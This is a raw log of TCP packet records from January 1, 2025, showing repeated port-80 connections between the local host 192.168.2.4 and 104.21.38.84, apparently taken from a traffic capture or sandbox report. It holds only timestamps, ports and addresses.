Jan 1, 2025 15:18:17.587699890 CET	49979	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.592094898 CET	80	49970	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:17.592155933 CET	49970	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.592538118 CET	80	49979	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:17.592595100 CET	49979	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.592695951 CET	49979	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.597490072 CET	80	49979	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:17.936709881 CET	49979	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:17.941528082 CET	80	49979	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.050091028 CET	80	49979	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.092807055 CET	49979	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:18.264702082 CET	80	49979	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.264949083 CET	49979	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:18.270253897 CET	80	49979	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.270344019 CET	49979	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:18.385664940 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:18.390520096 CET	80	49984	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.393471003 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:18.398761034 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:18.403563976 CET	80	49984	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.749213934 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:18.754034996 CET	80	49984	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.848855972 CET	80	49984	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:18.889662027 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.105222940 CET	80	49984	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:19.155281067 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.241178989 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.242553949 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.246177912 CET	80	49984	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:19.246413946 CET	49984	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.247406006 CET	80	49991	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:19.247471094 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.247596025 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.252399921 CET	80	49991	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:19.592863083 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.597646952 CET	80	49991	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:19.699151039 CET	80	49991	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:19.749008894 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:19.886532068 CET	80	49991	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:19.936505079 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.013906956 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.015027046 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.018886089 CET	80	49991	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.019112110 CET	49991	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.019840002 CET	80	49997	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.019921064 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.020037889 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.024816990 CET	80	49997	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.374209881 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.378987074 CET	80	49997	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.464008093 CET	80	49997	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.514636040 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.644427061 CET	80	49997	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.686517000 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.761408091 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.761991978 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.765391111 CET	50004	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.766272068 CET	80	49997	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.766324997 CET	49997	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.766742945 CET	80	50003	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.766804934 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.767016888 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.770136118 CET	80	50004	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.770207882 CET	50004	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.770281076 CET	50004	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:20.771763086 CET	80	50003	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:20.775006056 CET	80	50004	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.130554914 CET	50004	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.130980015 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.135396957 CET	80	50004	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.135449886 CET	80	50004	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.135761976 CET	80	50003	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.269239902 CET	80	50003	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.270236015 CET	80	50004	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.311527014 CET	50004	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.311537981 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.431804895 CET	80	50003	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.432679892 CET	50004	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.437679052 CET	80	50004	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.437733889 CET	50004	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.483376980 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.569140911 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.570190907 CET	50009	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.574240923 CET	80	50003	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.574295044 CET	50003	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.575017929 CET	80	50009	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.575094938 CET	50009	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.590388060 CET	50009	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.595156908 CET	80	50009	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:21.939086914 CET	50009	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:21.943938971 CET	80	50009	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:22.045941114 CET	80	50009	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:22.092784882 CET	50009	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:22.309005022 CET	80	50009	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:22.358371973 CET	50009	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:22.432054043 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:22.436850071 CET	80	50016	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:22.436965942 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:22.437045097 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:22.442266941 CET	80	50016	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:22.796077013 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:22.800909042 CET	80	50016	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:23.119419098 CET	80	50016	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:23.170898914 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.343281031 CET	80	50016	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:23.389640093 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.460675001 CET	49802	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.460736036 CET	50009	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.460783005 CET	49793	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.465027094 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.465594053 CET	50022	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.470041990 CET	80	50016	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:23.470391035 CET	80	50022	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:23.470451117 CET	50016	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.470472097 CET	50022	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.470555067 CET	50022	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.475353003 CET	80	50022	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:23.827246904 CET	50022	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:23.832043886 CET	80	50022	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:24.109386921 CET	80	50022	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:24.155256987 CET	50022	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:24.279647112 CET	80	50022	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:24.280245066 CET	50022	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:24.285389900 CET	80	50022	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:24.285443068 CET	50022	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:24.687841892 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:24.692588091 CET	80	50028	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:24.692643881 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:24.692778111 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:24.697544098 CET	80	50028	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:25.045974016 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.050798893 CET	80	50028	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:25.234044075 CET	80	50028	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:25.280255079 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.456104040 CET	80	50028	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:25.499002934 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.571971893 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.572551012 CET	50034	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.578552008 CET	80	50034	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:25.578974009 CET	80	50028	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:25.579051018 CET	50028	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.579160929 CET	50034	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.579160929 CET	50034	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.583945036 CET	80	50034	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:25.936714888 CET	50034	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:25.941529989 CET	80	50034	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.377482891 CET	80	50034	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.420481920 CET	50034	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.438529015 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.438978910 CET	50034	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.443388939 CET	80	50036	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.443459988 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.443550110 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.443996906 CET	80	50034	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.444045067 CET	50034	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.448303938 CET	80	50036	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.556619883 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.561476946 CET	80	50040	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.561551094 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.561703920 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.566534042 CET	80	50040	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.795989990 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.800816059 CET	80	50036	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.800906897 CET	80	50036	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:26.920922995 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:26.925668955 CET	80	50040	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.061230898 CET	80	50036	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.108355045 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.188090086 CET	80	50040	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.233356953 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.299408913 CET	80	50036	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.342732906 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.470778942 CET	80	50040	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.514748096 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.587599993 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.588253975 CET	50046	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.588253975 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.592756033 CET	80	50036	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.593111992 CET	80	50046	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.593169928 CET	50036	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.593197107 CET	50046	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.593300104 CET	50046	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.593318939 CET	80	50040	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.595396996 CET	50040	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.598071098 CET	80	50046	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:27.952193022 CET	50046	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:27.956991911 CET	80	50046	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:28.213078976 CET	80	50046	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:28.264614105 CET	50046	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:28.530395985 CET	80	50046	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:28.577155113 CET	50046	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:28.651143074 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:28.656369925 CET	80	50053	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:28.659420013 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:28.659495115 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:28.664735079 CET	80	50053	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.014677048 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.023663044 CET	80	50053	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.186285973 CET	80	50053	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.233340979 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.357104063 CET	80	50053	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.405214071 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.478703976 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.479290009 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.483752012 CET	80	50053	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.483808994 CET	50053	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.484164000 CET	80	50059	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.484220028 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.484329939 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.489063978 CET	80	50059	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.842768908 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:29.847592115 CET	80	50059	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:29.962630987 CET	80	50059	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:30.014605999 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.118711948 CET	80	50059	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:30.170841932 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.247379065 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.247971058 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.252367973 CET	80	50059	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:30.252414942 CET	50059	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.252804041 CET	80	50065	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:30.255384922 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.255471945 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.260215998 CET	80	50065	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:30.608725071 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.613586903 CET	80	50065	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:30.785753012 CET	80	50065	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:30.827095032 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:30.971407890 CET	80	50065	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.015420914 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.089498997 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.089525938 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.094325066 CET	80	50071	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.094435930 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.094522953 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.094603062 CET	80	50065	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.094747066 CET	50065	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.099296093 CET	80	50071	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.452363968 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.457194090 CET	80	50071	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.541299105 CET	80	50071	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.592742920 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.793610096 CET	80	50071	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.842706919 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.917555094 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.918297052 CET	50077	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.922557116 CET	80	50071	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.922600985 CET	50071	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.923084021 CET	80	50077	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:31.923140049 CET	50077	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.923258066 CET	50077	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:31.928060055 CET	80	50077	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.280258894 CET	50077	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.285053968 CET	80	50077	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.312087059 CET	50077	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.312553883 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.317089081 CET	80	50077	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.317137003 CET	50077	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.317379951 CET	80	50079	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.317430973 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.317544937 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.322319031 CET	80	50079	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.432246923 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.437093973 CET	80	50080	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.437164068 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.437565088 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.442329884 CET	80	50080	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.671029091 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.675870895 CET	80	50079	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.676018953 CET	80	50079	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.762892008 CET	80	50079	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.797348976 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.802114964 CET	80	50080	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.811506033 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.880930901 CET	80	50080	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.939266920 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:32.947067976 CET	80	50079	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:32.998967886 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.142364025 CET	80	50080	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:33.186465025 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.283741951 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.286983013 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.288655996 CET	80	50079	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:33.288687944 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.289849997 CET	50079	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.292778015 CET	80	50080	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:33.292836905 CET	50080	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.293417931 CET	80	50086	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:33.293507099 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.293601036 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.298297882 CET	80	50086	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:33.642147064 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:33.646960020 CET	80	50086	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:33.766736984 CET	80	50086	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:33.811458111 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.039223909 CET	80	50086	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:34.092701912 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.156915903 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.158123016 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.161808968 CET	80	50086	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:34.161885023 CET	50086	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.162874937 CET	80	50093	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:34.162929058 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.163041115 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.167771101 CET	80	50093	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:34.514621019 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.519511938 CET	80	50093	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:34.677692890 CET	80	50093	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:34.733314037 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:34.897336960 CET	80	50093	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:34.952094078 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.012028933 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.012609005 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.017085075 CET	80	50093	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:35.017210960 CET	50093	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.017532110 CET	80	50099	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:35.017693043 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.017832041 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.022644043 CET	80	50099	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:35.377343893 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.382225990 CET	80	50099	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:35.653945923 CET	80	50099	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:35.702070951 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:35.991491079 CET	80	50099	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:35.998948097 CET	80	50099	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:35.999032021 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:36.285865068 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:36.286314964 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:36.290772915 CET	80	50099	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:36.290844917 CET	50099	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:36.291135073 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:36.291233063 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:36.294825077 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:36.299560070 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:36.643332005 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:36.648107052 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:36.756149054 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:36.835936069 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.027653933 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.109127998 CET	50104	80	192.168.2.4	104.21.38.84
